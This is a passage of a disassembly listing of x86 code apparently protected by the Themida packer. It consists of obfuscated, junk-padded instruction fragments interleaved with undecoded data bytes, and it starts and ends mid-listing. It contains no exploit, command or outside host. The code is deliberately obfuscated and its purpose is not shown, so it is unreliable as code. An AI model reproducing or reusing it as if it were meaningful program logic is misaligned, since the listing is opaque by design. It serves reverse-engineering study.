loc_54DE7D ; --------------------------------------------------------------------------- dw 48Fh dd 0DB3FE924h, 0C481FFFFh, 4, 0E902C683h, 0FFFFE859h, 405E089h dd 0E9000000h, 2AD8h ; --------------------------------------------------------------------------- loc_54B018: ; CODE XREF: Themida_:0054EB32j sub ebp, ecx pop ecx sub ebp, 60BB3BA6h or ebp, 6837CA5h push eax mov eax, 22141F01h and eax, 2B3342B0h shl eax, 4 inc eax dec eax add eax, 0A0DBFACh add ebp, eax pop eax mov ecx, ebp pop ebp jmp loc_54457B ; --------------------------------------------------------------------------- db 87h dd 248B243Ch, 0D1C20924h, 0D5F5E9E2h, 2D48FFFFh, 0C17BC553h dd 8958C501h, 9C75E9EBh, 0B8BFFFFh, 83241C8Bh, 21E904C4h dd 0BB00003Dh, 713550C1h, 0BE9D989h db 0D5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B07F: ; CODE XREF: Themida_:00546E9Ej mov ecx, [ebx] push dword ptr [esp] mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_54D742 ; --------------------------------------------------------------------------- loc_54B098: ; CODE XREF: Themida_:0054AEEFj xor eax, ebp mov ebp, [esp] add esp, 4 push edx mov edx, esp add edx, 4 sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp mov [esp], ecx push esp pop ecx add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp mov [esp], esi push edi mov edi, 8000h mov esi, edi mov edi, [esp] add esp, 4 and eax, esi push dword ptr [esp] pop esi add esp, 4 or eax, eax jz loc_54D327 sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], edi mov edi, 4D3E3A58h push 5F58h mov [esp], eax mov eax, 0B2C1C5C4h jmp loc_54748D ; --------------------------------------------------------------------------- db 4Eh dd 0FFA8D7E9h, 243489FFh, 0D75A04BEh, 0AD77E90Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B132: ; CODE XREF: Themida_:0054AD3Ej mov [esp], esi mov esi, 4 push ebp mov ebp, 70777E8Ah jmp loc_544C29 ; --------------------------------------------------------------------------- db 68h, 0EBh, 3Ah dd 60E90000h, 21FFFFF5h, 34FF1C47h, 0EAE95824h, 89FFFFFFh dd 0FDE9241Ch, 8900001Ah, 74FF2434h, 0DE90424h, 81FFFFD7h dd 0FB7E29C3h, 81EB0160h, 0FB7E29EBh, 6C38160h, 5D13852Ah dd 8103E3C1h, 8E7A78EBh, 3DD0E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B192: ; CODE XREF: Themida_:00548922j pop esp mov [esp], ebx push dword ptr [esp] pop eax push 3E8h jmp loc_54798C ; --------------------------------------------------------------------------- dd 375F4568h, 0EAC15A25h, 81E2D105h, 390C0DEAh, 5AD689BAh dd 3ED2E681h, 0C14E2492h, 0F68108EEh, 0EDD4154h, 0CBE9F589h db 0CBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B1CF: ; CODE XREF: Themida_:00549F19j push 191A1DDDh pop esi shl esi, 2 add esi, 209A0354h dec esi sub esi, 3B272B61h mov edx, esi mov esi, [esp] add esp, 4 jmp loc_545C25 ; --------------------------------------------------------------------------- db 8Bh, 34h, 24h dd 8304C483h, 1C8704C3h, 24248B24h, 0FFEEE6E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B209: ; CODE XREF: Themida_:0054E33Fj inc ecx shl ecx, 6 shr ecx, 3 xor ecx, 19D4C7FCh sub esi, 5D6C05CCh add esi, ecx add esi, 5D6C05CCh pop ecx jmp loc_54571B ; --------------------------------------------------------------------------- dw 0C581h dd 47460BD1h, 0FF95B8E9h, 65FFBAFFh, 0BDE96129h, 1000036h dd 68E981C1h, 81438132h, 0A4121BC1h, 8FDDE90Eh, 0CA00FFFFh dd 2A7FE959h, 8B660000h, 4AE9240Ch, 0BEFFFF86h, 4, 348BF589h dd 4C48124h, 50000000h, 0FFDF36E9h, 36CD68FFh, 0C890000h dd 4EC8324h, 0BB241C89h, 6A6B01C4h, 72BE9h, 38EA8100h dd 16FE06Bh, 38C281C2h, 896FE06Bh, 2434FF0Ah, 0FF9E04E9h dd 5BDA01FFh, 37E2BF57h, 0E7C15160h, 6807h, 3C290000h dd 0C7815F24h, 0FFFFFFFFh, 0FFFA0CE9h, 7AE9ADFFh, 0B3FFFF91h dd 0E9DD301Fh, 0FFFF8791h, 4BFh, 0E9F80100h, 3555h ; --------------------------------------------------------------------------- loc_54B2E4: ; CODE XREF: Themida_:00545E9Aj add ebp, 1AF6069Fh jmp loc_5474E5 ; --------------------------------------------------------------------------- db 0C0h dd 6FE905EBh, 0D1FFFFF6h, 5BCD81EDh, 5168AE30h, 46C76853h dd 815B0C59h, 184F05F3h, 3E3C13Fh, 4E10F381h, 0D9899A08h dd 89E9295Bh, 0EC8159CDh, 4, 0B8240489h, 94018881h, 158C531h dd 242C8BE9h, 8304C483h, 9AE904E9h, 0ACFFFFF6h, 3568D830h dd 0E900002Bh, 314h ; --------------------------------------------------------------------------- loc_54B34C: ; CODE XREF: Themida_:00544584j xor esi, 58624BABh add esi, 9FB472BDh and ebx, esi mov esi, [esp] add esp, 4 or ebx, ebx jnz loc_54E088 push edx jmp loc_54437A ; --------------------------------------------------------------------------- db 5Dh, 55h, 0BDh dd 0E7D2432h, 685DEB21h, 4630h, 1CEFE9h, 56D0F700h, 316FFCBEh dd 2061E950h, 0E9570000h, 0FFFF9F70h, 33242C31h, 0BCE9242Ch dd 0FF000030h, 57582434h, 0BE565F54h, 719E10C1h, 11E9DEF7h dd 1FFFFCCh, 0BA5259C8h, 2, 505AD001h, 0FF8C90E9h, 0BE959FFh dd 8100003Fh, 2EBF8CF3h, 0E9DF017Eh, 0FFFFDDB8h, 4C2815Ah dd 53000000h, 4BBh, 0DAEA8100h, 8119A419h, 5D3250C2h, 0CAC28127h dd 81690946h, 0DF3E87C2h, 81DA2959h, 0DF3E87EAh, 0CAEA8159h dd 81690946h, 5D3250EAh, 0DAC28127h, 5B19A419h, 0FF944CE9h dd 0E9685FFFh, 8900000Dh, 2ABD242Ch, 515B1702h, 22D1BF57h dd 0F9895842h, 1222E95Fh, 895C0000h, 1B9240Ch, 21000000h dd 240C8BC8h, 4EC8353h, 50242489h, 4B8h, 24440100h, 18C6E904h dd 0B9510000h, 5C9A85F0h, 0FFB00EE9h, 0EC8351FFh, 24248904h dd 4240483h, 8B2434FFh, 2EE9240Ch, 5CFFFFBFh, 0BB241C89h dd 0FFFFFBFFh, 0FFC540E9h, 0FF5048FFh, 1EE92404h, 58000006h dd 1F968h, 24348900h, 2C0968h, 4EC8100h, 54000000h, 5724048Fh dd 4CA46851h, 34E91899h, 0BBFFFFB2h, 4D7D16CEh, 335DE9h dd 24248B00h, 24148B66h, 0D634E951h, 815EFFFFh, 4C6h, 289DE900h dd 0C4810000h, 4, 5168B353h, 94E93DB5h, 2DFFFFADh, 2BEF1B81h dd 8105F029h, 8B2BEF1Bh, 0C4832434h, 69610504h, 0D0F77C62h dd 0FFDBE2E9h, 89665CFFh, 0D6E9240Ch, 8700002Eh, 895C2404h dd 5EE9241Ch, 66FFFF8Fh, 28D5B151h, 285966CFh, 2434FFF8h dd 81241C8Bh, 4C4h, 4C48100h, 66000000h, 660D5668h, 0E9241C89h dd 0FFFFDA59h, 0EC81E689h, 4, 68241489h, 2776h, 0B8240489h dd 4, 0FF8620E9h, 44F581FFh, 2907B745h, 0DE015DEBh, 103BE95Bh dd 525A0000h, 24148B54h, 4C481h, 0E9500000h, 0FFFFA60Ch dd 7CC168h, 242C8900h, 0FFAC16E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B59D: ; CODE XREF: Themida_:00545F9Cj sub si, 499Ch xor si, 0FBE6h sub bx, si pop esi add bx, 3A37h sub bx, bp sub bx, 3A37h add bx, 249Dh pop ebp jmp loc_54D9E8 ; --------------------------------------------------------------------------- db 5Eh dd 4C681h, 0C6810000h, 4, 3085E956h, 0FF660000h, 7B87E932h dd 0EE81FFFFh, 10840E6Ah, 73B9BB53h, 0DE0158F9h, 17A3E9h dd 0FEB55100h, 8059EA08h, 0F28000EAh, 0BA5DE9A1h, 8957FFFFh dd 0C1F5E9E7h, 3C89FFFFh, 68E78924h, 346Bh, 0BB241C89h dd 39D47657h, 2B36E9h db 0 ; --------------------------------------------------------------------------- loc_54B621: ; CODE XREF: Themida_:00548AF4j or edi, 771B4694h jmp loc_54EEA0 ; --------------------------------------------------------------------------- loc_54B62C: ; CODE XREF: Themida_:00547CD8j shr ecx, 0Bh sub esp, 4 jmp loc_5496D4 ; --------------------------------------------------------------------------- dw 36BEh dd 55708E1Ah, 0FFF1C2E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B645: ; CODE XREF: Themida_:00549F87j mov esp, [esp] jmp loc_544597 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 29E95724h, 56FFFFBAh, 0E9515E54h, 726h, 0B1240C89h dd 51E953ABh, 8100000Bh, 4C7h, 4C78100h, 87000000h, 61E9243Ch dd 80FFFFA5h, 0F280F8E2h, 5AD00024h, 65AA68h, 24148900h dd 0F9E95366h, 66FFFFE7h, 52240C8Bh, 2434FF54h, 0FFFED9E9h dd 5665DFFh, 29663FBEh, 0BE2D66F0h, 348B663Fh, 0E0895024h dd 0FF965FE9h, 58C620FFh, 0CE9D6F6h, 8700003Ah, 6EE9242Ch dd 81FFFFF7h, 835F5DF2h, 814A4A1Ah, 7820D6F2h, 0E9D2F729h dd 0FFFFA8C8h ; --------------------------------------------------------------------------- loc_54B6E4: ; CODE XREF: Themida_:00545AF8j mov edx, esp sub esp, 4 mov [esp], edi jmp loc_54D562 ; --------------------------------------------------------------------------- loc_54B6F4: ; CODE XREF: Themida_:0054A545j push edi push 8643124h pop edi dec edi jmp loc_54BBF9 ; --------------------------------------------------------------------------- db 33h, 1Ch, 24h dd 0FFC155E9h, 9BEF81FFh, 0E9008D05h, 16C4h, 0C28048B0h dd 80C200C3h, 5866C3EAh, 0FF7EE5E9h, 241C89FFh, 51B05052h dd 0E958C688h, 0FFFFC6A0h ; --------------------------------------------------------------------------- loc_54B734: ; CODE XREF: Themida_:005449C8j or ebp, 34B34623h sub ebp, 66B70326h jmp loc_54EF7C ; --------------------------------------------------------------------------- db 68h, 2 dup(32h) dd 0B9E90000h db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B74F: ; CODE XREF: Themida_:0054C346j add esp, 4 push 5887h mov [esp], edx push esp jmp loc_54E61C ; --------------------------------------------------------------------------- dd 4C68159h, 87000000h, 248B2434h, 24048F24h, 518868h dd 24048900h, 8B2414F7h, 0C8E92404h, 900001Fh, 0E95F387Ah dd 0FFFFA27Dh, 4C481h, 515B0000h, 58575056h, 8358C689h dd 348904ECh, 0ED29E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B7A6: ; CODE XREF: Themida_:0054EBA3j pop ecx sub eax, 4 xor eax, [esp] jmp loc_549EEE ; --------------------------------------------------------------------------- dw 0EE81h dd 0B0442261h, 4121E981h, 0C1E96E73h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B7C3: ; CODE XREF: Themida_:0054415Cj sub esp, 4 mov [esp], ecx push eax push ecx mov ch, 0CAh mov al, ch pop ecx mov cl, 5Dh add cl, al jmp loc_54820B ; --------------------------------------------------------------------------- loc_54B7DC: ; CODE XREF: Themida_:0054BAABj mov [esp], esi xor dword ptr [esp], 4282EF2h mov ebp, [esp] add esp, 4 xor ebp, 4282EF2h pop esi and eax, ebp push dword ptr [esp] pop ebp push eax jmp loc_548384 ; --------------------------------------------------------------------------- db 53h dd 0C381E389h, 4, 8704C383h, 3E9241Ch, 58FFFFD8h, 19F4E9h dd 4905BA00h, 0D7316241h, 6B01685Ah, 3C890000h, 24348124h dd 36EA46F3h, 0FF8B78E9h, 241489FFh, 4BAh, 0FFD50100h dd 0B1E92434h, 81FFFFD0h, 67AA2404h, 0C8B1F8Bh, 0EEF7E924h dd 0E956FFFFh, 0CD0h ; --------------------------------------------------------------------------- loc_54B85C: ; CODE XREF: Themida_:0054F4C0j mov [esp], ebp jmp loc_54661A ; --------------------------------------------------------------------------- dd 2846EA80h, 0C4045AD0h, 0B4505166h, 9EC8073h, 458E188h dd 53C80046h, 0F7E946B7h, 0ADFFFF93h, 7180BF57h, 8FE91F6Ch dd 5EFFFFC6h, 0FFE2CFE9h, 24148BFFh, 5004C483h, 3EAB68h dd 0A9E9E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B8A6: ; CODE XREF: Themida_:00544B56j mov esi, [esp] push edx mov edx, esp jmp loc_544212 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4240483h, 9B77E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B8BE: ; CODE XREF: Themida_:005446C4j xor edi, [esp] jmp loc_54CD70 ; --------------------------------------------------------------------------- dw 0F66h dd 9C2404ABh, 0FF7894E9h, 6F35BEFFh, 17E96F9Ah, 0B7000024h dd 92BE9CDh, 0B9510000h, 78A428B8h, 2AC3E9h, 3C335B00h dd 243C3124h, 5C243C33h, 9C2404FEh, 0FF7864E9h, 243489FFh dd 0FBCCE954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B90A: ; CODE XREF: Themida_:0054413Fj xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] push 264Ah mov [esp], ebx push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_5435A5 ; --------------------------------------------------------------------------- loc_54B92A: ; CODE XREF: Themida_:005479FBj pop esi push ebx push ecx push 6D1D750Bh pop ecx and ecx, 28F0345Eh sub ecx, 577A661Fh add ecx, 4E19738Eh mov ebx, ecx mov ecx, [esp] add esp, 4 dec ebx jmp loc_5499FF ; --------------------------------------------------------------------------- dw 0DAF7h dd 0FFB2F2E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B95D: ; CODE XREF: Themida_:005450DEj push 698F1C9Eh pop ebp inc ebp and ebp, 40315AF8h add ebp, 0BFFEE768h mov edx, ebp pop ebp add edx, ebx jmp loc_54E990 ; --------------------------------------------------------------------------- dw 8B66h dd 0EC832404h, 243C8904h, 0F0E9E789h db 9Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B98B: ; CODE XREF: Themida_:0054BCD7j add edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_54D118 ; --------------------------------------------------------------------------- dd 6824048Bh, 6266h, 68243C89h, 3B16h, 81242489h, 42404h dd 0E95F0000h, 0FFFFD27Fh, 7B0BE381h, 0C3812B44h, 0D5BFFF04h dd 89DE8956h, 1C8B5EF1h, 4C48124h, 0E9000000h, 5BEh, 4C381h dd 0E9570000h, 2584h, 0F7DAF759h, 49C281DAh, 1A28E6Ah dd 0AC2CE9D0h, 0F989FFFFh, 0FFE7F4E9h, 242C89FFh, 3719CBDh dd 0E9D5F779h, 0FFFFF8E7h, 4EC81h, 14890000h, 101BA24h dd 35B97FFAh, 29870975h, 0CA18E9D1h, 0C601FFFFh, 81EE0158h dd 0A20F85EEh, 242C8B2Ch, 0FF89FEE9h, 243C8BFFh, 104C483h dd 10ACE9C1h, 34FF0000h, 0EC815824h, 4, 2580E9h, 0DEC38100h dd 296A4939h, 2F77E9C3h, 8B660000h, 8951240Ch, 636E68E1h dd 2C890000h, 7D685124h, 596FFD43h, 16BEE981h, 0C9810159h dd 0BC765F3h, 600F181h, 0F1813167h, 7C1B08AEh, 5659CD89h dd 0C53E9h db 0 ; --------------------------------------------------------------------------- loc_54BA9D: ; CODE XREF: Themida_:0054E31Dj mov edi, [esp] push edx jmp loc_543EFE ; --------------------------------------------------------------------------- loc_54BAA6: ; CODE XREF: Themida_:005431D2j push 4731h jmp loc_54B7DC ; --------------------------------------------------------------------------- dd 24048B66h, 0FFFB49E9h, 6D0558FFh, 29EADEC3h, 814558C5h dd 0C03994F5h, 7EDC15Ah, 0E7A8C581h, 0EE01FEE4h, 0E389535Dh dd 0FF7962E9h, 7683E9FFh, 0C568FFFFh, 89000024h, 4B9240Ch dd 0E9000000h, 0FFFFCC54h, 2BDh, 14BB5300h, 0C150677Bh dd 0F38103E3h, 755276F5h, 0C381434Bh, 3F4ABD91h, 15BD801h dd 6BE62DE8h, 0EDE935B4h, 81FFFF98h, 1EBh, 0A41AE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BB2A: ; CODE XREF: Themida_:00549A06j dec ebx not ebx xor ebx, 0DA8EAFB4h add esi, 6A3747E5h sub esi, 0C681628h add esi, ebx add esi, 0C681628h jmp loc_54C841 ; --------------------------------------------------------------------------- dd 0E91C2CACh, 0FFFF8021h, 50AAB252h, 21049DB0h, 0C230B434h dd 5AD78858h, 5166BDB2h, 7AE916B5h, 81FFFFE1h, 622004C3h dd 0E9DE0118h, 2DDBh, 815BDF01h, 4C7h, 74FF5700h, 8F5F0424h dd 248B2404h, 6FE95224h, 68000004h, 78644DFCh, 0C794E95Eh dd 5D59FFFFh, 4B951h, 0CB010000h, 0E9240C8Bh, 0FFFFF406h ; --------------------------------------------------------------------------- loc_54BBB4: ; CODE XREF: Themida_:00545DF5j mov [esp], ebx push dword ptr [esp] mov eax, [esp] add esp, 4 push edi jmp loc_54F048 ; --------------------------------------------------------------------------- db 81h, 0C3h, 59h dd 8115800Ah, 42159BC3h, 81C32930h, 42159BEBh, 59EB8130h dd 8915800Ah, 0EE685BD8h, 0E9000058h, 3624h, 5B2434FFh dd 0FFC46CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54BBF9: ; CODE XREF: Themida_:0054B6FCj dec edi jmp loc_546D90 ; --------------------------------------------------------------------------- loc_54BBFF: ; CODE XREF: Themida_:005433C8j add esp, 2 push si mov si, 23BFh and bp, si mov si, [esp] add esp, 2 jmp loc_546654 ; --------------------------------------------------------------------------- dw 7281h dd 0E8F83638h, 384A81B1h, 36BE789Dh, 0D13842FFh, 6A81386Ah dd 9D843F38h, 38428114h, 2C5C16E8h, 30FCE9h, 241C8900h dd 76139BBh, 2EBC14Dh, 7D8FF381h, 0EC812318h, 4, 89243489h dd 0B95155E6h, 6EB34D02h, 23E9CD89h, 1FFFF7Dh, 0D3015FFBh dd 2673EB81h, 9BE94BE1h, 0C1FFFFB4h, 0EF8104EFh, 2686752Dh dd 0A88EEF81h, 0FA0969BAh, 0F2EA815Fh, 1365B56h, 0B595E9D0h dd 0C229FFFFh, 0EDC28158h, 0E961113Ch, 0FFFFD569h, 1EBF68h dd 24248900h, 4240483h, 8324048Bh, 0BD5504C4h, 35CB156Eh dd 156AED81h, 0E80135CBh, 1A8DE95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BCCE: ; CODE XREF: Themida_:0054AAD9j push edi mov edi, esp add edi, 4 jmp loc_54B98B ; --------------------------------------------------------------------------- dd 0BCAC381h, 3C8B6D32h, 4C48124h, 8B000000h, 0C4832414h dd 44BF5704h, 812BE45Eh, 851324F7h, 5FFB0129h, 0FACE9h dd 59545100h, 4C181h, 0C1830000h, 240C8704h, 744BE95Ch dd 30ACFFFFh, 58E950D8h, 1000010h, 25C581DDh, 5B54653Ch dd 0FFA138E9h, 241487FFh, 2404895Ch, 1DA0E9h, 5EF38900h dd 8BD2E95Ah, 2C89FFFFh, 3A7EBD24h, 448130EBh, 77E90424h dd 6C0155BCh, 6C810424h, 77E90424h, 815D55BCh, 7FF72404h dd 0FBE97C08h db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BD6F: ; CODE XREF: Themida_:00547A17j add ecx, 4B1C6D1Bh pop edx shr ecx, 7 push 74A7h mov [esp], ecx jmp loc_54AD43 ; --------------------------------------------------------------------------- dw 4DB9h dd 0E92F8271h, 0FFFFD02Ch, 505AD089h, 0FFD6C6E9h, 6D33BEFFh dd 0EE815BA3h, 6FE05B60h, 49E4F681h, 0EE814E48h, 408F46EDh dd 0E9h, 8BF58900h, 89522434h, 4C281E2h, 0E9000000h, 0FFFFD563h ; --------------------------------------------------------------------------- loc_54BDC8: ; CODE XREF: Themida_:0054E230j pop eax add esp, 4 sub esp, 4 mov [esp], edx push ebx jmp loc_5460B0 ; --------------------------------------------------------------------------- loc_54BDDB: ; CODE XREF: Themida_:0054E0B2j dec eax dec eax inc eax dec eax or eax, 20867882h add eax, 0A863B635h add esi, eax pop eax add esi, 18A53734h mov ecx, [esp] add esp, 4 and eax, esi mov esi, [esp] add esp, 4 or edx, eax shl edx, 1 sub esp, 4 jmp loc_5463DE ; --------------------------------------------------------------------------- db 56h dd 8628E6BEh, 5EF78960h, 8102E7C1h, 917098F7h, 33BE561Bh dd 0F7048B6Eh, 0E4EE81D6h, 0C10C683Ah, 0E68103EEh, 207B2EECh dd 13EDF681h, 0F721234Dh, 8FDFE95Eh, 0EF30FFFFh, 0FFD976E9h dd 8B5451FFh, 6E9240Ch, 81FFFFE3h, 0CA042444h, 51755B64h dd 1EA1B850h, 89566259h, 5EF189C6h, 244C0158h, 240C8B08h dd 0E904C483h, 0FFFFDCA1h, 0EF88C588h, 363FE959h, 34FF0000h dd 0C4835824h, 40504h, 2050000h, 68000000h, 541Dh, 0FF240489h dd 8B042474h, 8BE92404h, 0E9FFFF98h, 0FFFF72B5h, 0A4D3E981h dd 0CF894374h, 0A9EF8159h, 0C17C305Ah, 0C78105E7h, 3BBD0452h dd 0E03CF81h, 0E94748EEh, 1756h, 1800ED81h, 0EA015396h dd 4BB535Dh, 29000000h, 14875BDAh, 24248B24h, 0BA241489h dd 1, 7FE9D121h, 0B8FFFFB4h, 4, 0FFAE24E9h, 4C481FFh, 0E9000000h dd 0FFFFFDF5h ; --------------------------------------------------------------------------- loc_54BF10: ; CODE XREF: Themida_:0054D36Dj pop ecx pop edi shl ebp, 2 jmp loc_549C10 ; --------------------------------------------------------------------------- dw 3C8Bh dd 4C48124h, 81000000h, 2104246Ch, 81485D3Eh, 8C04246Ch dd 0E9779373h, 497h, 6E1A52BAh, 0EA814A40h, 2E2C7533h dd 837AEA81h, 0D009050Bh, 3548485Ah, 0ADC7EE74h, 8158C101h dd 90034F1h, 0E9CB01BAh, 0FFFFB620h, 89242C89h, 4C581E5h dd 83000000h, 2C8704C5h, 0F4E95C24h, 2DFFFF9Eh, 37710130h dd 8324148Bh, 9AE904C4h, 1000012h, 24148BD7h, 2076E9h dd 71CBE900h, 0CB01FFFFh, 0E9240C8Bh, 0FFFF98EEh ; --------------------------------------------------------------------------- loc_54BFA4: ; CODE XREF: Themida_:0054A886j add ebp, edx pop edx push edx mov edx, 4 add ebp, 21512DEEh jmp loc_54C4F8 ; --------------------------------------------------------------------------- dd 7C74BF57h, 0FA297CA4h, 5AD0895Fh, 5704E8C1h, 1057F2BFh dd 40CF816Ch, 564AB271h, 5E19AABEh, 0B6C68120h, 0F772576Ch dd 20F681DEh, 4E62081Fh, 0EBC6814Eh, 96863C4h, 0C7815EF7h dd 20983390h, 3DF7C781h, 0F83163E9h, 0DF59E95Fh, 0E289FFFFh dd 840BE955h, 0DAF7FFFFh, 0D2F7EAD1h, 54A8CA81h, 0F28148DEh dd 7EB2DAFh, 5B0FEA81h, 0D629CD15h, 0A8B6E95Ah, 0C483FFFFh dd 77C6E904h, 0BF57FFFFh, 4D631793h, 4F01C783h, 0FFC5FBE9h dd 24248BFFh, 0FF7118E9h, 0E9CA81FFh, 0E913124Eh, 0FFFF7C0Bh ; --------------------------------------------------------------------------- loc_54C058: ; CODE XREF: Themida_:00548F54j mov [esp], edi mov edi, 70D23BD3h push esi jmp loc_54A9E8 ; --------------------------------------------------------------------------- dw 895Ch dd 2BD242Ch, 1000000h, 242C8BE8h, 8304C483h, 48904ECh dd 2474FF24h, 48F5804h, 24248B24h, 9C243CD3h, 0FF70D4E9h dd 0C6814EFFh, 187E7BAAh, 0FFA979E9h, 0D9E981FFh, 0E9064861h dd 23ACh, 0DAAFE957h, 0E3C1FFFFh, 12F38102h, 290B2993h dd 0FF505BD8h, 58042474h, 0E924048Fh, 0FFFF829Bh, 2B9h dd 939CE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C0D2: ; CODE XREF: Themida_:00547098j add [edx], ecx pop edx mov ecx, [esp] push eax jmp loc_543A74 ; --------------------------------------------------------------------------- dw 0E789h dd 751568h, 242C8900h, 381231BDh, 0D5F74526h, 81DDF745h dd 0C7EDD2C5h, 5DEF01D9h, 4C781h, 3C870000h, 24248B24h dd 8904EC83h, 0E6892434h, 8904EC83h, 0BA52242Ch, 0BF0576Fh dd 98EA814Ah, 0C1135714h, 0B0E908EAh, 8900001Dh, 0BB682404h dd 89000032h, 0FF582434h, 0CAE92434h, 81FFFF86h, 4C1h dd 4E98100h, 87000000h, 248B240Ch, 242C8924h, 168h, 2434FF00h dd 4C4835Dh, 2C8BE821h, 4C48324h, 0FFC47FE9h, 0C8B66FFh dd 336CE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C176: ; CODE XREF: Themida_:00543B33j shl eax, cl push ecx push edi mov edi, 47316DACh mov ecx, 0B8CE9255h jmp loc_5481FE ; --------------------------------------------------------------------------- db 40h, 2Dh, 41h dd 3541D43Ah, 0EBE545BDh, 8758C701h, 248B243Ch, 4EC8124h dd 89000000h, 0FE882414h, 4247C8Ah, 4247488h, 90AE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C1B6: ; CODE XREF: Themida_:0054C24Ej push ebp jmp loc_544454 ; --------------------------------------------------------------------------- dd 0F900FFB7h, 0FF99F0E9h, 81D2F7FFh, 0AEA1DEC2h, 0DED1E9B7h dd 0C33FFFFh, 240C3124h, 0E9240C33h, 0FFFFA4AFh, 7F9868h dd 24148900h, 8350E289h, 148904ECh, 33796824h, 0F75A04DAh dd 34EA81D2h, 57539B04h, 0A95C8CBFh, 5FFA3167h, 0FFFDABE9h dd 80C1B6FFh, 0FE005EC6h, 0E95EEE80h, 0FFFFE473h, 0BD2ECF05h dd 2DD8015Ch, 5CBD2ECFh, 8C1D5C2Dh, 4EC8164h, 89000000h dd 86E92414h db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C23B: ; CODE XREF: Themida_:00544BE0j pop ecx add esp, 4 pop eax push edi mov edi, 264A7E18h xor eax, edi mov edi, [esp] jmp loc_54C1B6 ; --------------------------------------------------------------------------- db 0BDh dd 15356B80h, 356B82B8h, 36F62D15h, 0E8295B38h, 3836F605h dd 0E95D5Bh, 9FFFFCFh db 0C2h, 0D1h, 0E2h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_545F62 ; --------------------------------------------------------------------------- loc_54C287: ; CODE XREF: Themida_:0054ADDCj push eax mov eax, 64A5470Eh not eax and eax, 6F073A04h jmp loc_54AD89 ; --------------------------------------------------------------------------- db 5Fh, 81h, 0E9h dd 0B3037EFAh, 3227E9h, 6EBBE900h, 0B6E9FFFFh, 66FFFF6Eh dd 5224048Bh, 0BF57E289h, 4, 5D6E9h, 24343300h, 6824248Bh dd 1A8Dh, 0E9241C89h, 0FFFFAE20h, 27B8685Ch, 9EE90000h dd 8100000Fh, 2C3h, 241C8700h, 401665Ch, 72E99C24h, 81FFFF6Eh dd 627480F7h, 0C1DFF77Bh, 0F78105EFh, 7F9924C8h, 45E8EF81h dd 0B951D039h, 2E9A1F05h, 0C181E9D1h, 636B5269h, 159CB29h dd 0EBC381FBh, 8B7AB861h, 0C481243Ch, 4, 0FE9D801h db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C333: ; CODE XREF: Themida_:005474E0j pop edx or eax, eax jz loc_547F77 push dword ptr [edi+28h] push dword ptr [esp] push dword ptr [esp] pop eax jmp loc_54B74F ; --------------------------------------------------------------------------- db 5Ch dd 4C681h, 0C6810000h, 2, 31243433h, 34332434h, 24248B24h dd 24048B66h, 56E08950h, 961F15BEh, 0E952575Eh, 0FFFFE7BDh dd 28EAEE80h, 0D99EE9F0h, 2C87FFFFh, 242C8B24h, 0E904C483h dd 0FFFFF0D2h ; --------------------------------------------------------------------------- loc_54C390: ; CODE XREF: Themida_:0054F413j sub edx, ebp pop ebp sub edx, 6AF0285Ch sub edx, eax add edx, 6AF0285Ch jmp loc_54AADE ; --------------------------------------------------------------------------- dw 0ED81h dd 54653C25h, 0FFF972E9h, 240481FFh, 4, 0B82E9h, 24048900h dd 0B65174B8h, 4E8C16Dh, 0FEE95340h, 29FFFF85h, 8104244Ch dd 8C042444h, 56779373h, 0FF965CE9h, 59EA81FFh, 0E9DDC48Fh dd 0FFFFC3B7h, 9F08ED81h, 0EB894001h, 5D2434FFh, 0E904C483h dd 0FFFFB6EBh, 0C281E289h, 4, 8704C283h, 0BAE92414h, 57FFFFE5h dd 0FFEEBFE9h, 31665CFFh, 0E99C2404h, 0FFFF6D41h, 16EB68h dd 243C8900h, 0BE565F54h, 4, 0E95EF701h, 2E94h, 81E68956h dd 4C6h, 4C68300h, 5C243487h, 5502C583h, 0FF9102E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C455: ; CODE XREF: Themida_:005499D6j mov esp, [esp] mov [esp], ebx mov ebx, 4 add ecx, ebx jmp loc_5464D4 ; --------------------------------------------------------------------------- db 81h dd 0E41164C6h, 1543E9B7h, 48B0000h, 4C48324h, 0C8BCB88h dd 0E0895024h, 405h, 0FF89E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C48A: ; CODE XREF: Themida_:0054A376j mov edx, 142F780Bh dec edx or edx, 7FD47033h inc edx inc edx add edx, 63E257F8h sub edx, 0F737CB8Dh jmp loc_54D0B0 ; --------------------------------------------------------------------------- loc_54C4A9: ; CODE XREF: Themida_:005479A0j 